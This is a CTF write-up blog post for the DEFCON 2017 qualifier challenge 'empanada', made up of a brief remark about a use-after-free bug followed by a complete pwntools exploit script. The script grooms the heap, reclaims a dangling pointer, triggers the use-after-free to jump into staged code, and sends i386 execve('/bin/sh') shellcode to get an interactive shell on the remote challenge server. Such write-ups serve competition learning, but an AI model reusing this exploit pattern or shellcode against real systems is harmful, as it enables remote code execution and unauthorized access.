Its just simple use-after-free. 

but binary is annoying to reverse...  because of C++ stuffs...

took me 3~4H to realize how to trigger the UAF







from pwn import *

context.arch = 'i386'  # i386 / arm


p = remote('empanada_45e50f0410494ec9cfb90430d2e86287.quals.shallweplayaga.me', 47281)

#p = process(['./empanada'])

#raw_input('attach ' + str(p.proc.pid))


sh2 = "\x90"*20 + "\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\x31\xC0\xB0\x0B\xCD\x80"

sh = "\x31\xdb\xb0\x03\xcd\x80\x51\xc3" + "A"*7 + pack(0x31337010) + "AA"


def transmit(idx, data, T):

    global p

    size = len(data)

    onec = chr((((idx) << 5) | (size & 0x1F) | T))

    p.send(onec + data)


def get_result():

    global p

    v = p.read(1)

    q = ord(v) & 0x1f

    s = ""

    flag = False

    while q == 0x1f:

        s += p.read(q)

        q = ord(p.read(1)) & 0x1f

        flag = True

    if flag:

        q = q - 1

    s += p.read(q)

    return s


def delete_message(idx):

    transmit(0, "\x50" + struct.pack("<B", idx))

    return get_result()


def store_message(msg):

    transmit(0,"\x10" + msg)

    return get_result()


def msg_count():

    transmit(0,"\x40")

    return get_result()


def get_message(idx):

    transmit(0,"\x30" + struct.pack("<B", idx), 0x80)

    return get_result()


def hsum_message(idx):

    transmit(0, "\x20" + struct.pack("<B", idx), 0x80)

    return get_result()


def get_all():

    transmit(0,"\x60")

    return get_result()


def remove_all():

    transmit(0,"\xfe", 0x80)

    return get_result()


# No.0

# create 3 message (linked list)

transmit(1, "\x10" + sh, 0x80)

transmit(0, "\x10" + 'b'*10, 0x00)      # server func (to remove)

print get_result()


# No.1

# create 3 message (linked list)

transmit(1, "\x10", 0x80)

transmit(1, "\x10", 0x00)      # server func (to remove) (our target dangling pointed chunk)

transmit(0, "\x10", 0x00)      # server func (to remove)

print get_result()


# No.2

transmit(0, "\x10", 0x80)      

print get_result()


transmit(0, "\x10", 0x80)      

print get_result()



# remove all

transmit(0,"\xfe", 0x80)                # make free hole (inside No.1's two message)

print get_result()


# reclaim dangling pointer

transmit(0,"\x60", 0x80)

print get_result()


raw_input()

# trigger use-after-free.

transmit(0, "\x20" + struct.pack("<B", 1), 0x80)

print get_result()


raw_input('send')

p.sendline(sh2)

p.interactive()



저작자 표시
신고

'Games > CTF' 카테고리의 다른 글

DEFCON 2017 empanada writeup  (0) 2017.05.08
DEFCON 2017 awsno writeup  (0) 2017.05.08
SECCON 2016 cheer_msg  (0) 2016.12.12
SECCON 2016 checker  (0) 2016.12.12
SECCON 2016 logger  (0) 2016.12.11
SECCON 2016 jumper  (0) 2016.12.11
Posted by daehee87

댓글을 달아 주세요



티스토리 툴바